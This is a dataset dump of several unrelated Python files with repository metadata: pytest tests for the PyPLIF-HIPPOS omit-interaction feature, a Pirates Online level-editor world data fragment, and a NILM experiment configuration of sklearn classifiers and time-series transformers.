speedy/src/java8speedy/__init__.py

ashrafizahra81/CodART

693e59d568b548edb2539d04cff1fd991de43124

[ "MIT" ]

null

from .print_tree import print_tree from .benchmark import benchmark

33.5

34

0.865672

10

67

5.6

0.5

0.321429

0

0.104478

67

2

35

33.5

0.933333

0

1

0

true

0

1

0

1

0.5

1

0

null

1

0

1

0

null

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1

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1e8a2fa776f5bd96393450257a891c27824bdb82

14,904

py

Python

tests/test_interactions/test_omit_interactions.py

radifar/PyPLIF-HIPPOS

95fc5dd81b900e84ae6f3368c4b70a08d17257dd

[ "HPND" ]

13

2020-07-29T12:19:56.000Z

2022-02-07T04:48:19.000Z

tests/test_interactions/test_omit_interactions.py

radifar/PyPLIF-HIPPOS

95fc5dd81b900e84ae6f3368c4b70a08d17257dd

[ "HPND" ]

5

2021-03-30T01:11:49.000Z

2021-09-13T11:49:35.000Z

tests/test_interactions/test_omit_interactions.py

radifar/PyPLIF-HIPPOS

95fc5dd81b900e84ae6f3368c4b70a08d17257dd

[ "HPND" ]

5

2020-08-06T07:26:06.000Z

2021-10-30T17:16:39.000Z

""" The tests for omit interaction feature """ import os import sys from collections import namedtuple from pyplif_hippos import ParseConfig, hippos, similarity def test_configuration_single_omit_interaction(tmpdir): """Test configuration for omitting specific interaction""" # Arrange config_file = tmpdir.mkdir("sub").join("config.txt") config_file.write( """ docking_method plants # plants or vina docking_conf plants-003.conf similarity_coef tanimoto mcconnaughey full_ref 00000100000000000000000000000000000100000000000001000000000000010000001000000000000000000001000000000000000000000000000000101000000000000000000101000000000010000 00010101000000000000000000000000000100000000000001010000000000010000001000000000000010000000000000000000000001011000001000001000000000000000000101000000000000000 00010101000000100000000000000000000100000000000001010100100000010000001000000000000010000001000000000000010000000000100000101010000000000000000001000000000000000 residue_name ARG116 GLU117 LEU132 LYS148 ASP149 ARG150 ARG154 TRP177 SER178 ILE221 ARG223 THR224 GLU226 ALA245 HIS273 GLU275 GLU276 ARG292 ASP294 GLY347 ARG374 TRP408 TYR409 residue_number 40 41 56 72 73 74 78 101 102 145 147 148 150 169 197 199 200 216 218 271 298 332 333 omit_interaction hydrophobic ARG223 full_outfile plants_full_ifp.csv sim_outfile plants_similarity.csv logfile plants.log """ ) arg = os.path.join(config_file.dirname, config_file.basename) if len(sys.argv) > 1: sys.argv[1] = arg else: sys.argv.append(arg) # Act hippos_config = ParseConfig() hippos_config.parse_config() omit_interaction = hippos_config.omit_interaction[0] # Assert assert omit_interaction.interaction_type == "hydrophobic" assert omit_interaction.res_name == ["ARG223"] def test_configuration_omit_multiple_residue_interaction(tmpdir): """Test configuration for omitting multiple residue interaction""" # Arrange config_file = tmpdir.mkdir("sub").join("config.txt") config_file.write( """ docking_method plants # plants or vina docking_conf plants-003.conf similarity_coef tanimoto mcconnaughey full_ref 00000100000000000000000000000000000100000000000001000000000000010000001000000000000000000001000000000000000000000000000000101000000000000000000101000000000010000 00010101000000000000000000000000000100000000000001010000000000010000001000000000000010000000000000000000000001011000001000001000000000000000000101000000000000000 00010101000000100000000000000000000100000000000001010100100000010000001000000000000010000001000000000000010000000000100000101010000000000000000001000000000000000 residue_name ARG116 GLU117 LEU132 LYS148 ASP149 ARG150 ARG154 TRP177 SER178 ILE221 ARG223 THR224 GLU226 ALA245 HIS273 GLU275 GLU276 ARG292 ASP294 GLY347 ARG374 TRP408 TYR409 residue_number 40 41 56 72 73 74 78 101 102 145 147 148 150 169 197 199 200 216 218 271 298 332 333 omit_interaction hydrophobic ARG150 TRP177 ARG223 full_outfile plants_full_ifp.csv sim_outfile plants_similarity.csv logfile plants.log """ ) arg = os.path.join(config_file.dirname, config_file.basename) if len(sys.argv) > 1: sys.argv[1] = arg else: sys.argv.append(arg) # Act hippos_config = ParseConfig() hippos_config.parse_config() omit_interaction = hippos_config.omit_interaction[0] # Assert assert omit_interaction.interaction_type == "hydrophobic" assert omit_interaction.res_name == ["ARG150", "TRP177", "ARG223"] def test_configuration_omit_multiple_interaction_type(tmpdir): """Test configuration for omitting multiple interaction type""" # Arrange config_file = tmpdir.mkdir("sub").join("config.txt") config_file.write( """ docking_method plants # plants or vina docking_conf plants-003.conf similarity_coef tanimoto mcconnaughey full_ref 00000100000000000000000000000000000100000000000001000000000000010000001000000000000000000001000000000000000000000000000000101000000000000000000101000000000010000 00010101000000000000000000000000000100000000000001010000000000010000001000000000000010000000000000000000000001011000001000001000000000000000000101000000000000000 00010101000000100000000000000000000100000000000001010100100000010000001000000000000010000001000000000000010000000000100000101010000000000000000001000000000000000 residue_name ARG116 GLU117 LEU132 LYS148 ASP149 ARG150 ARG154 TRP177 SER178 ILE221 ARG223 THR224 GLU226 ALA245 HIS273 GLU275 GLU276 ARG292 ASP294 GLY347 ARG374 TRP408 TYR409 residue_number 40 41 56 72 73 74 78 101 102 145 147 148 150 169 197 199 200 216 218 271 298 332 333 omit_interaction hydrophobic ARG223 omit_interaction h_bond ARG292 full_outfile plants_full_ifp.csv sim_outfile plants_similarity.csv logfile plants.log """ ) arg = os.path.join(config_file.dirname, config_file.basename) if len(sys.argv) > 1: sys.argv[1] = arg else: sys.argv.append(arg) # Act hippos_config = ParseConfig() hippos_config.parse_config() omit_interaction_1 = hippos_config.omit_interaction[0] omit_interaction_2 = hippos_config.omit_interaction[1] # Assert assert omit_interaction_1.interaction_type == "hydrophobic" assert omit_interaction_1.res_name == ["ARG223"] assert omit_interaction_2.interaction_type == "h_bond" assert omit_interaction_2.res_name == ["ARG292"] def test_configuration_long_interaction_type(tmpdir): """Test configuration checking all long interaction_type""" # Arrange config_file = tmpdir.mkdir("sub").join("config.txt") config_file.write( """ docking_method plants # plants or vina docking_conf plants-003.conf similarity_coef tanimoto mcconnaughey full_ref 00000100000000000000000000000000000100000000000001000000000000010000001000000000000000000001000000000000000000000000000000101000000000000000000101000000000010000 00010101000000000000000000000000000100000000000001010000000000010000001000000000000010000000000000000000000001011000001000001000000000000000000101000000000000000 00010101000000100000000000000000000100000000000001010100100000010000001000000000000010000001000000000000010000000000100000101010000000000000000001000000000000000 residue_name ARG116 GLU117 LEU132 LYS148 ASP149 ARG150 ARG154 TRP177 SER178 ILE221 ARG223 THR224 GLU226 ALA245 HIS273 GLU275 GLU276 ARG292 ASP294 GLY347 ARG374 TRP408 TYR409 residue_number 40 41 56 72 73 74 78 101 102 145 147 148 150 169 197 199 200 216 218 271 298 332 333 omit_interaction hydrophobic ARG116 omit_interaction aromatic GLU117 omit_interaction h_bond LEU132 omit_interaction electrostatic LYS148 omit_interaction h_bond_donor ASP149 omit_interaction h_bond_acceptor ARG150 omit_interaction electrostatic_positive ARG154 omit_interaction electrostatic_negative TRP177 omit_interaction aromatic_facetoface SER178 omit_interaction aromatic_edgetoface ILE221 full_outfile plants_full_ifp.csv sim_outfile plants_similarity.csv logfile plants.log """ ) arg = os.path.join(config_file.dirname, config_file.basename) if len(sys.argv) > 1: sys.argv[1] = arg else: sys.argv.append(arg) # Act hippos_config = ParseConfig() hippos_config.parse_config() omit_interaction_1 = hippos_config.omit_interaction[0] omit_interaction_2 = hippos_config.omit_interaction[1] omit_interaction_3 = hippos_config.omit_interaction[2] omit_interaction_4 = hippos_config.omit_interaction[3] omit_interaction_5 = hippos_config.omit_interaction[4] omit_interaction_6 = hippos_config.omit_interaction[5] omit_interaction_7 = hippos_config.omit_interaction[6] omit_interaction_8 = hippos_config.omit_interaction[7] omit_interaction_9 = hippos_config.omit_interaction[8] omit_interaction_10 = hippos_config.omit_interaction[9] # Assert assert omit_interaction_1.interaction_type == "hydrophobic" assert omit_interaction_1.res_name == ["ARG116"] assert omit_interaction_2.interaction_type == "aromatic" assert omit_interaction_2.res_name == ["GLU117"] assert omit_interaction_3.interaction_type == "h_bond" assert omit_interaction_3.res_name == ["LEU132"] assert omit_interaction_4.interaction_type == "electrostatic" assert omit_interaction_4.res_name == ["LYS148"] assert omit_interaction_5.interaction_type == "h_bond_donor" assert omit_interaction_5.res_name == ["ASP149"] assert omit_interaction_6.interaction_type == "h_bond_acceptor" assert omit_interaction_6.res_name == ["ARG150"] assert omit_interaction_7.interaction_type == "electrostatic_positive" assert omit_interaction_7.res_name == ["ARG154"] assert omit_interaction_8.interaction_type == "electrostatic_negative" assert omit_interaction_8.res_name == ["TRP177"] assert omit_interaction_9.interaction_type == "aromatic_facetoface" assert omit_interaction_9.res_name == ["SER178"] assert omit_interaction_10.interaction_type == "aromatic_edgetoface" assert omit_interaction_10.res_name == ["ILE221"] def test_configuration_short_interaction_type(tmpdir): """Test configuration checking all short interaction_type""" # Arrange config_file = tmpdir.mkdir("sub").join("config.txt") config_file.write( """ docking_method plants # plants or vina docking_conf plants-003.conf similarity_coef tanimoto mcconnaughey full_ref 00000100000000000000000000000000000100000000000001000000000000010000001000000000000000000001000000000000000000000000000000101000000000000000000101000000000010000 00010101000000000000000000000000000100000000000001010000000000010000001000000000000010000000000000000000000001011000001000001000000000000000000101000000000000000 00010101000000100000000000000000000100000000000001010100100000010000001000000000000010000001000000000000010000000000100000101010000000000000000001000000000000000 residue_name ARG116 GLU117 LEU132 LYS148 ASP149 ARG150 ARG154 TRP177 SER178 ILE221 ARG223 THR224 GLU226 ALA245 HIS273 GLU275 GLU276 ARG292 ASP294 GLY347 ARG374 TRP408 TYR409 residue_number 40 41 56 72 73 74 78 101 102 145 147 148 150 169 197 199 200 216 218 271 298 332 333 omit_interaction HPB ARG116 omit_interaction ARM GLU117 omit_interaction HBD LEU132 omit_interaction ELE LYS148 omit_interaction HBD_DON ASP149 omit_interaction HBD_ACC ARG150 omit_interaction ELE_POS ARG154 omit_interaction ELE_NEG TRP177 omit_interaction ARM_F2F SER178 omit_interaction ARM_E2F ILE221 full_outfile plants_full_ifp.csv sim_outfile plants_similarity.csv logfile plants.log """ ) arg = os.path.join(config_file.dirname, config_file.basename) if len(sys.argv) > 1: sys.argv[1] = arg else: sys.argv.append(arg) # Act hippos_config = ParseConfig() hippos_config.parse_config() omit_interaction_1 = hippos_config.omit_interaction[0] omit_interaction_2 = hippos_config.omit_interaction[1] omit_interaction_3 = hippos_config.omit_interaction[2] omit_interaction_4 = hippos_config.omit_interaction[3] omit_interaction_5 = hippos_config.omit_interaction[4] omit_interaction_6 = hippos_config.omit_interaction[5] omit_interaction_7 = hippos_config.omit_interaction[6] omit_interaction_8 = hippos_config.omit_interaction[7] omit_interaction_9 = hippos_config.omit_interaction[8] omit_interaction_10 = hippos_config.omit_interaction[9] # Assert assert omit_interaction_1.interaction_type == "hydrophobic" assert omit_interaction_1.res_name == ["ARG116"] assert omit_interaction_2.interaction_type == "aromatic" assert omit_interaction_2.res_name == ["GLU117"] assert omit_interaction_3.interaction_type == "h_bond" assert omit_interaction_3.res_name == ["LEU132"] assert omit_interaction_4.interaction_type == "electrostatic" assert omit_interaction_4.res_name == ["LYS148"] assert omit_interaction_5.interaction_type == "h_bond_donor" assert omit_interaction_5.res_name == ["ASP149"] assert omit_interaction_6.interaction_type == "h_bond_acceptor" assert omit_interaction_6.res_name == ["ARG150"] assert omit_interaction_7.interaction_type == "electrostatic_positive" assert omit_interaction_7.res_name == ["ARG154"] assert omit_interaction_8.interaction_type == "electrostatic_negative" assert omit_interaction_8.res_name == ["TRP177"] assert omit_interaction_9.interaction_type == "aromatic_facetoface" assert omit_interaction_9.res_name == ["SER178"] assert omit_interaction_10.interaction_type == "aromatic_edgetoface" assert omit_interaction_10.res_name == ["ILE221"] def test_replace_bit_char(): """Test bit replacement function for omitted residue""" # Arrange bitstring = "1000001" omit_hydrophobic = [1, 0, 0, 0, 0, 0, 0] omit_aromatic = [0, 1, 1, 0, 0, 0, 0] omit_h_bond = [0, 0, 0, 1, 1, 0, 0] omit_electrostatic = [0, 0, 0, 0, 0, 1, 1] omit_h_bond_donor = [0, 0, 0, 1, 0, 0, 0] omit_h_bond_acceptor = [0, 0, 0, 0, 1, 0, 0] omit_electrostatic_positive = [0, 0, 0, 0, 0, 1, 0] omit_electrostatic_negative = [0, 0, 0, 0, 0, 0, 1] omit_aromatic_facetoface = [0, 1, 0, 0, 0, 0, 0] omit_aromatic_edgetoface = [0, 0, 1, 0, 0, 0, 0] # Act bitstring_1 = hippos.replace_bit_char(bitstring, omit_hydrophobic) bitstring_2 = hippos.replace_bit_char(bitstring, omit_aromatic) bitstring_3 = hippos.replace_bit_char(bitstring, omit_h_bond) bitstring_4 = hippos.replace_bit_char(bitstring, omit_electrostatic) bitstring_5 = hippos.replace_bit_char(bitstring, omit_h_bond_donor) bitstring_6 = hippos.replace_bit_char(bitstring, omit_h_bond_acceptor) bitstring_7 = hippos.replace_bit_char(bitstring, omit_electrostatic_positive) bitstring_8 = hippos.replace_bit_char(bitstring, omit_electrostatic_negative) bitstring_9 = hippos.replace_bit_char(bitstring, omit_aromatic_facetoface) bitstring_10 = hippos.replace_bit_char(bitstring, omit_aromatic_edgetoface) # Assert assert bitstring_1 == "n000001" assert bitstring_2 == "1nn0001" assert bitstring_3 == "100nn01" assert bitstring_4 == "10000nn" assert bitstring_5 == "100n001" assert bitstring_6 == "1000n01" assert bitstring_7 == "10000n1" assert bitstring_8 == "100000n" assert bitstring_9 == "1n00001" assert bitstring_10 == "10n0001" def test_cleanup_omitted_interaction(): """Test for bitstring preparation prior to similarity calculation""" # Arrange refbit = "000001000101" tgtbit = "11n00n000011" # Act clean_refbit, clean_tgtbit = similarity.clean_omitted_interactions(refbit, tgtbit) # Assert assert clean_refbit == "0000000101" assert clean_tgtbit == "1100000011"

39.638298

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1,687

14,904

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0.162177

0.08933

0.057426

0.850053

0.844647

0.814073

0.775611

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0.278371

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39.744

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0.037976

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0.010431

0

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1

0.04142

false

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0.023669

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0.065089

0

null

0

1

0

1

0

null

0

7

94e5241d69b771f3a6a6262db895824ca5e53381

136,125

py

Python

pirates/leveleditor/worldData/CatacombsTEST.py

Willy5s/Pirates-Online-Rewritten

7434cf98d9b7c837d57c181e5dabd02ddf98acb7

[ "BSD-3-Clause" ]

81

2018-04-08T18:14:24.000Z

2022-01-11T07:22:15.000Z

pirates/leveleditor/worldData/CatacombsTEST.py

Willy5s/Pirates-Online-Rewritten

7434cf98d9b7c837d57c181e5dabd02ddf98acb7

[ "BSD-3-Clause" ]

4

2018-09-13T20:41:22.000Z

2022-01-08T06:57:00.000Z

pirates/leveleditor/worldData/CatacombsTEST.py

Willy5s/Pirates-Online-Rewritten

7434cf98d9b7c837d57c181e5dabd02ddf98acb7

[ "BSD-3-Clause" ]

26

2018-05-26T12:49:27.000Z

2021-09-11T09:11:59.000Z

from pandac.PandaModules import Point3, VBase3, Vec4 objectStruct = {'Adj Table': {'1235611035.98akelts': ['1235611061.09akelts', '1235611117.05akelts', '1235611119.02akelts', '1235611119.33akelts'],'1235611061.09akelts': ['1235611035.98akelts', '1235611121.0akelts'],'1235611115.91akelts': ['1235611121.0akelts', '1235611116.59akelts'],'1235611116.59akelts': ['1235611115.91akelts'],'1235611117.05akelts': ['1235611035.98akelts', '1235611117.31akelts'],'1235611117.31akelts': ['1235611117.05akelts', '1235611117.69akelts'],'1235611117.69akelts': ['1235611117.31akelts', '1236293632.0akelts'],'1235611119.02akelts': ['1235611035.98akelts', '1235611795.97akelts', '1235611792.13akelts'],'1235611119.33akelts': ['1235611035.98akelts', '1235611119.91akelts', '1235611519.63akelts'],'1235611119.91akelts': ['1235611119.33akelts', '1235611120.45akelts'],'1235611120.45akelts': ['1235611119.91akelts', '1235611361.5akelts'],'1235611121.0akelts': ['1235611061.09akelts', '1235611115.91akelts'],'1235611344.81akelts': ['1235611352.94akelts', '1235611353.63akelts'],'1235611347.08akelts': ['1235611361.5akelts', '1235611348.2akelts'],'1235611348.2akelts': ['1235611347.08akelts', '1235611348.83akelts'],'1235611348.83akelts': ['1235611348.2akelts'],'1235611352.23akelts': ['1235611353.63akelts'],'1235611352.94akelts': ['1235611361.5akelts', '1235611344.81akelts', '1235611534.09akelts'],'1235611353.63akelts': ['1235611344.81akelts', '1235611352.23akelts'],'1235611361.5akelts': ['1235611352.94akelts', '1235611347.08akelts', '1235611120.45akelts'],'1235611519.63akelts': ['1235611119.33akelts', '1235611530.08akelts'],'1235611528.14akelts': ['1235611528.78akelts', '1235611534.09akelts'],'1235611528.78akelts': ['1235611529.42akelts', '1235611528.14akelts'],'1235611529.42akelts': ['1235611528.78akelts', '1235611746.08akelts'],'1235611530.08akelts': ['1235611519.63akelts', '1235611530.73akelts'],'1235611530.73akelts': ['1235611531.39akelts', '1235611530.08akelts'],'1235611531.39akelts': ['1235611532.06akelts', '1235611530.73akelts'],'1235611532.06akelts': ['1235611531.39akelts', '1235611532.73akelts', '1235611533.41akelts'],'1235611532.73akelts': ['1235611532.06akelts'],'1235611533.41akelts': ['1235611532.06akelts', '1235611746.08akelts'],'1235611534.09akelts': ['1235611352.94akelts', '1235611528.14akelts'],'1235611746.08akelts': ['1235611529.42akelts', '1235611533.41akelts'],'1235611775.94akelts': ['1235611795.97akelts', '1235611787.47akelts'],'1235611777.48akelts': ['1235611787.47akelts', '1235611781.22akelts', '1235611784.77akelts'],'1235611781.22akelts': ['1235611777.48akelts'],'1235611782.08akelts': ['1235611787.47akelts', '1235611783.0akelts'],'1235611783.0akelts': ['1235611783.89akelts', '1235611786.56akelts', '1235611782.08akelts'],'1235611783.89akelts': ['1235611783.0akelts', '1235611785.67akelts'],'1235611784.77akelts': ['1235611777.48akelts', '1235611795.0akelts'],'1235611785.67akelts': ['1235611783.89akelts'],'1235611786.56akelts': ['1235611783.0akelts', '1235611788.39akelts'],'1235611787.47akelts': ['1235611777.48akelts', '1235611782.08akelts', '1235611775.94akelts'],'1235611788.39akelts': ['1235611786.56akelts', '1235611793.08akelts', '1235611789.31akelts'],'1235611789.31akelts': ['1235611788.39akelts', '1235611790.25akelts'],'1235611790.25akelts': ['1235611791.19akelts', '1235611789.31akelts'],'1235611791.19akelts': ['1235611790.25akelts', '1235611792.13akelts'],'1235611792.13akelts': ['1235611791.19akelts', '1235611119.02akelts'],'1235611793.08akelts': ['1235611788.39akelts', '1235611794.03akelts'],'1235611794.03akelts': ['1235611793.08akelts'],'1235611795.0akelts': ['1235611784.77akelts'],'1235611795.97akelts': ['1235611119.02akelts', '1235611775.94akelts'],'1236293632.0akelts': ['1235611117.69akelts', '1236293632.0akelts2'],'1236293632.0akelts2': ['1236293632.0akelts']},'AmbientColors': {0: Vec4(0.447059, 0.529412, 0.647059, 1),2: Vec4(0.537255, 0.494118, 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Python

nilmlab/exp_model_list.py

ChristoferNal/multi-nilm

0ec1d1a834b04da121963bf82eb0f540d76a8409

[ "MIT" ]

32

2020-04-29T07:03:08.000Z

2021-12-21T02:24:43.000Z

nilmlab/exp_model_list.py

qiu-2020/multi-nilm

0ec1d1a834b04da121963bf82eb0f540d76a8409

[ "MIT" ]

3

2020-10-23T07:26:42.000Z

2021-09-30T11:07:10.000Z

nilmlab/exp_model_list.py

qiu-2020/multi-nilm

0ec1d1a834b04da121963bf82eb0f540d76a8409

[ "MIT" ]

10

2020-05-31T02:02:32.000Z

2022-02-10T01:42:37.000Z

from sklearn.ensemble import ExtraTreesClassifier, RandomForestClassifier from sklearn.naive_bayes import GaussianNB from sklearn.neural_network import MLPClassifier from sklearn.tree import ExtraTreeClassifier from skmultilearn.adapt import MLkNN from skmultilearn.ensemble import RakelD from datasources.paths_manager import SAVED_MODEL, PATH_SIGNAL2VEC from nilmlab.factories import TransformerFactory from nilmlab.lab import TransformerType SAX = 'SAX' SAX1D = 'SAX1D' SFA = 'SFA' DFT = 'DFT' PAA = 'PAA' WEASEL = 'WEASEL' SIGNAL2VEC = 'SIGNAL2VEC' TRANSFORMER_MODELS = 'TRANSFORMER_MODELS' CLF_MODELS = 'CLF_MODELS' BOSS = 'BOSS' TIME_DELAY_EMBEDDING = 'TIME_DELAY_EMBEDDING' WAVELETS = 'WAVELETS' selected_models_10mins = { BOSS : { CLF_MODELS : [ MLPClassifier(hidden_layer_sizes=(2000, 100, 100), learning_rate='adaptive', solver='adam') ], TRANSFORMER_MODELS: [ TransformerFactory.build_pyts_boss(word_size=4, n_bins=20, window_size=10, norm_mean=False, norm_std=False) ] }, SIGNAL2VEC: { CLF_MODELS : [ MLPClassifier(hidden_layer_sizes=(1000,), learning_rate='adaptive', solver='adam', activation='logistic') ], TRANSFORMER_MODELS: [ TransformerFactory.build_signal2vec(SAVED_MODEL, PATH_SIGNAL2VEC, num_of_vectors=1) ] }, PAA : { CLF_MODELS : [ ExtraTreesClassifier(n_jobs=-1, n_estimators=500) ], TRANSFORMER_MODELS: [ TransformerFactory.build_tslearn_paa(n_paa_segments=10, supports_approximation=True) ] }, DFT : { CLF_MODELS : [ ExtraTreesClassifier(n_jobs=-1, n_estimators=500) ], TRANSFORMER_MODELS: [ TransformerFactory.build_pyts_dft(n_coefs=10, norm_mean=False, norm_std=False, supports_approximation=True) ] }, SFA : { CLF_MODELS : [ MLPClassifier(hidden_layer_sizes=(2000, 100, 100), learning_rate='adaptive', solver='adam') ], TRANSFORMER_MODELS: [ TransformerFactory.build_pyts_sfa(n_coefs=10, n_bins=5, norm_mean=False, norm_std=False) ] }, SAX1D : { CLF_MODELS : [ RandomForestClassifier(n_jobs=-1, n_estimators=100) ], TRANSFORMER_MODELS: [ TransformerFactory.build_tslearn_one_d_sax(n_paa_segments=50, n_sax_symbols=10) ] }, SAX : { CLF_MODELS : [ MLPClassifier(hidden_layer_sizes=(2000), learning_rate='adaptive', solver='adam') ], TRANSFORMER_MODELS: [ TransformerFactory.build_tslearn_sax(n_paa_segments=50, n_sax_symbols=50, supports_approximation=True) ] } } selected_models_4h = { BOSS : { CLF_MODELS : [ MLPClassifier(hidden_layer_sizes=(1000, 100), learning_rate='adaptive', solver='adam', activation='logistic'), MLPClassifier(hidden_layer_sizes=(1000, 100), learning_rate='adaptive', solver='adam', activation='logistic'), MLPClassifier(hidden_layer_sizes=(100,), learning_rate='adaptive', solver='adam', activation='logistic'), MLPClassifier(hidden_layer_sizes=(100, 100), learning_rate='adaptive', solver='adam', activation='logistic') ], TRANSFORMER_MODELS: [ TransformerFactory.build_pyts_boss(word_size=2, n_bins=26, window_size=10, norm_mean=False, norm_std=False), TransformerFactory.build_pyts_boss(word_size=2, n_bins=25, window_size=10, norm_mean=False, norm_std=False), TransformerFactory.build_pyts_boss(word_size=2, n_bins=26, window_size=10, norm_mean=False, norm_std=False), TransformerFactory.build_pyts_boss(word_size=2, n_bins=26, window_size=10, norm_mean=False, norm_std=False) ] }, SIGNAL2VEC: { CLF_MODELS : [ MLPClassifier(hidden_layer_sizes=(1000, 100), learning_rate='adaptive', solver='adam', activation='logistic'), MLPClassifier(hidden_layer_sizes=(1000,), learning_rate='adaptive', solver='adam', activation='logistic'), MLPClassifier(hidden_layer_sizes=(1000,), learning_rate='adaptive', solver='adam'), MLPClassifier(hidden_layer_sizes=(100, 100, 100), learning_rate='adaptive', solver='adam'), ], TRANSFORMER_MODELS: [ TransformerFactory.build_signal2vec(SAVED_MODEL, PATH_SIGNAL2VEC, num_of_vectors=5), TransformerFactory.build_signal2vec(SAVED_MODEL, PATH_SIGNAL2VEC, num_of_vectors=10), TransformerFactory.build_signal2vec(SAVED_MODEL, PATH_SIGNAL2VEC, num_of_vectors=10), TransformerFactory.build_signal2vec(SAVED_MODEL, PATH_SIGNAL2VEC, num_of_vectors=10) ] }, WEASEL : { CLF_MODELS : [ MLPClassifier(hidden_layer_sizes=(100,), learning_rate='adaptive', solver='adam'), MLPClassifier(hidden_layer_sizes=(1000,), learning_rate='adaptive', solver='adam', activation='logistic'), MLPClassifier(hidden_layer_sizes=(100,), learning_rate='adaptive', solver='adam', activation='logistic'), MLPClassifier(hidden_layer_sizes=(100, 100, 100), learning_rate='adaptive', solver='adam') ], TRANSFORMER_MODELS: [ TransformerFactory.build_pyts_weasel(word_size=2, n_bins=4, norm_mean=False, norm_std=False), TransformerFactory.build_pyts_weasel(word_size=2, n_bins=4, norm_mean=False, norm_std=False), TransformerFactory.build_pyts_weasel(word_size=2, n_bins=4, norm_mean=False, norm_std=False), TransformerFactory.build_pyts_weasel(word_size=2, n_bins=4, norm_mean=False, norm_std=False) ] }, PAA : { CLF_MODELS : [ ExtraTreesClassifier(n_jobs=-1, n_estimators=200), ExtraTreesClassifier(n_jobs=-1, n_estimators=1000), ExtraTreesClassifier(n_jobs=-1, n_estimators=2000), ExtraTreesClassifier(n_jobs=-1, n_estimators=500) ], TRANSFORMER_MODELS: [ TransformerFactory.build_tslearn_paa(n_paa_segments=10, supports_approximation=True), TransformerFactory.build_tslearn_paa(n_paa_segments=10, supports_approximation=True), TransformerFactory.build_tslearn_paa(n_paa_segments=10, supports_approximation=True), TransformerFactory.build_tslearn_paa(n_paa_segments=10, supports_approximation=True) ] }, DFT : { CLF_MODELS : [ ExtraTreesClassifier(n_jobs=-1, n_estimators=200), ExtraTreesClassifier(n_jobs=-1, n_estimators=1000), ExtraTreesClassifier(n_jobs=-1, n_estimators=2000), ExtraTreesClassifier(n_jobs=-1, n_estimators=500) ], TRANSFORMER_MODELS: [ TransformerFactory.build_pyts_dft(n_coefs=10, norm_mean=False, norm_std=False, supports_approximation=True), TransformerFactory.build_pyts_dft(n_coefs=10, norm_mean=False, norm_std=False, supports_approximation=True), TransformerFactory.build_pyts_dft(n_coefs=10, norm_mean=False, norm_std=False, supports_approximation=True), TransformerFactory.build_pyts_dft(n_coefs=10, norm_mean=False, norm_std=False, supports_approximation=True) ] }, SFA : { CLF_MODELS : [ ExtraTreesClassifier(n_jobs=-1, n_estimators=500), ExtraTreesClassifier(n_jobs=-1, n_estimators=2000), ExtraTreesClassifier(n_jobs=-1, n_estimators=1000), MLPClassifier(hidden_layer_sizes=(1000, 100), learning_rate='adaptive', solver='adam'), ], TRANSFORMER_MODELS: [ TransformerFactory.build_pyts_sfa(n_coefs=10, n_bins=9, norm_mean=False, norm_std=False), TransformerFactory.build_pyts_sfa(n_coefs=10, n_bins=9, norm_mean=False, norm_std=False), TransformerFactory.build_pyts_sfa(n_coefs=10, n_bins=9, norm_mean=False, norm_std=False), TransformerFactory.build_pyts_sfa(n_coefs=10, n_bins=9, norm_mean=False, norm_std=False) ] }, SAX1D : { CLF_MODELS : [ MLPClassifier(hidden_layer_sizes=(1000,), learning_rate='adaptive', solver='adam'), ExtraTreeClassifier(), ExtraTreeClassifier(), ExtraTreesClassifier(n_jobs=-1, n_estimators=100) ], TRANSFORMER_MODELS: [ TransformerFactory.build_tslearn_one_d_sax(n_paa_segments=50, n_sax_symbols=20), TransformerFactory.build_tslearn_one_d_sax(n_paa_segments=50, n_sax_symbols=20), TransformerFactory.build_tslearn_one_d_sax(n_paa_segments=50, n_sax_symbols=10), TransformerFactory.build_tslearn_one_d_sax(n_paa_segments=50, n_sax_symbols=50) ] }, SAX : { CLF_MODELS : [ MLPClassifier(hidden_layer_sizes=(1000,), learning_rate='adaptive', solver='adam'), MLPClassifier(hidden_layer_sizes=(100,), learning_rate='adaptive', solver='adam'), MLPClassifier(hidden_layer_sizes=(100,), learning_rate='adaptive', solver='adam'), MLPClassifier(hidden_layer_sizes=(1000, 100), learning_rate='adaptive', solver='adam') ], TRANSFORMER_MODELS: [ TransformerFactory.build_tslearn_sax(n_paa_segments=50, n_sax_symbols=50, supports_approximation=True), TransformerFactory.build_tslearn_sax(n_paa_segments=50, n_sax_symbols=10, supports_approximation=True), TransformerFactory.build_tslearn_sax(n_paa_segments=20, n_sax_symbols=50, supports_approximation=True), TransformerFactory.build_tslearn_sax(n_paa_segments=20, n_sax_symbols=10, supports_approximation=True) ] } } selected_models_8h = { BOSS : { CLF_MODELS : [ MLPClassifier(hidden_layer_sizes=(2000, 100), learning_rate='adaptive', solver='adam', activation='logistic'), MLPClassifier(hidden_layer_sizes=(1000,), learning_rate='adaptive', solver='adam', activation='logistic'), MLPClassifier(hidden_layer_sizes=(2000, 100), learning_rate='adaptive', solver='adam', activation='logistic'), MLPClassifier(hidden_layer_sizes=(1000, 100), learning_rate='adaptive', solver='adam', activation='logistic') ], TRANSFORMER_MODELS: [ TransformerFactory.build_pyts_boss(word_size=2, n_bins=20, window_size=10, norm_mean=False, norm_std=False), TransformerFactory.build_pyts_boss(word_size=2, n_bins=20, window_size=10, norm_mean=False, norm_std=False), TransformerFactory.build_pyts_boss(word_size=4, n_bins=10, window_size=10, norm_mean=False, norm_std=False), TransformerFactory.build_pyts_boss(word_size=4, n_bins=10, window_size=10, norm_mean=False, norm_std=False) ] }, SIGNAL2VEC: { CLF_MODELS : [ MLPClassifier(hidden_layer_sizes=(2000, 100), learning_rate='adaptive', solver='adam'), MLPClassifier(hidden_layer_sizes=(100, 100, 100), learning_rate='adaptive', solver='adam'), MLPClassifier(hidden_layer_sizes=(1000, 100), learning_rate='adaptive', solver='adam'), MLPClassifier(hidden_layer_sizes=(1000,), learning_rate='adaptive', solver='adam', activation='logistic') ], TRANSFORMER_MODELS: [ TransformerFactory.build_signal2vec(SAVED_MODEL, PATH_SIGNAL2VEC, num_of_vectors=50), TransformerFactory.build_signal2vec(SAVED_MODEL, PATH_SIGNAL2VEC, num_of_vectors=4), TransformerFactory.build_signal2vec(SAVED_MODEL, PATH_SIGNAL2VEC, num_of_vectors=1), TransformerFactory.build_signal2vec(SAVED_MODEL, PATH_SIGNAL2VEC, num_of_vectors=5) ] }, WEASEL : { CLF_MODELS : [ MLPClassifier(hidden_layer_sizes=(2000), learning_rate='adaptive', solver='adam', activation='logistic'), MLPClassifier(hidden_layer_sizes=(100, 100, 100), learning_rate='adaptive', solver='adam'), MLPClassifier(hidden_layer_sizes=(2000, 100, 100), learning_rate='adaptive', solver='adam'), MLPClassifier(hidden_layer_sizes=(100, 100), learning_rate='adaptive', solver='adam') ], 